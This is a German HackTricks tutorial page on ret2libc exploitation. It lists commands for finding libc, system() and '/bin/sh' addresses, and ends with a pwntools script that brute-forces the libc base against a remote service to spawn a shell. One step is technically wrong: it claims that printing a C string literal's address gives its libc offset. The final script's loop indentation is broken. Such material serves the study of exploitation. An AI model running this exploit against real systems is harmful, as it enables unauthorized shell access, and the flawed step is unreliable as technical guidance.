hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-10 15:36:32 +00:00

5.7 KiB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie eine verwundbare Binärdatei gefunden haben und glauben, dass Sie sie mit Ret2Lib ausnutzen können, finden Sie hier einige grundlegende Schritte, denen Sie folgen können.

Wenn Sie innerhalb des Hosts sind

Sie können die Adresse von libc finden

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Ermitteln Sie den Offset der Systemfunktion

Um eine Rücksprungadresse auf die Systemfunktion zu setzen, müssen Sie den Offset dieser Funktion in der Zielbibliothek ermitteln. Dieser Offset wird verwendet, um die Adresse der Systemfunktion im Speicher zu berechnen.

Um den Offset der Systemfunktion zu erhalten, können Sie das Tool objdump verwenden. Führen Sie den folgenden Befehl aus, um die Symbole der Zielbibliothek anzuzeigen:

objdump -T /path/to/target/library.so | grep system

Ersetzen Sie /path/to/target/library.so durch den Pfad zur Zielbibliothek, in der sich die Systemfunktion befindet. Der Befehl grep system filtert die Ausgabe, um nur die Zeile mit dem Symbol der Systemfunktion anzuzeigen.

Die Ausgabe des Befehls enthält den Offset der Systemfunktion. Merken Sie sich diesen Wert, da Sie ihn später benötigen, um die Rücksprungadresse zu berechnen.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Ermitteln Sie den Offset von "/bin/sh"

Um den Offset von "/bin/sh" zu ermitteln, können Sie die folgenden Schritte ausführen:

  1. Erstellen Sie ein einfaches C-Programm, das die Adresse von "/bin/sh" druckt.
#include <stdio.h>

int main() {
    printf("/bin/sh Adresse: %p\n", "/bin/sh");
    return 0;
}
  1. Kompilieren Sie das Programm mit dem Befehl gcc -o offset offset.c.

  2. Führen Sie das kompilierte Programm aus, um die Adresse von "/bin/sh" zu erhalten. Die Ausgabe sollte ähnlich aussehen wie: /bin/sh Adresse: 0x7fffffffe1a0.

  3. Notieren Sie sich die erhaltene Adresse, da dies der Offset von "/bin/sh" ist, den Sie für die Exploit-Entwicklung verwenden können.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen (Netzwerkserver), Kinder erstellt, versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).

Hier finden Sie genau, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.

In diesem Fall wird sie bei 0xb75dc000 geladen (Dies wird die Basisadresse von libc sein)

Verwendung von gdb-peda

Holen Sie sich die Adresse der Funktion system, der Funktion exit und des Strings "/bin/sh" mit gdb-peda:

p system
p exit
find "/bin/sh"

Umgehung von ASLR

Sie können versuchen, die Basisadresse von libc durch Brute-Force zu ermitteln.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Code

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: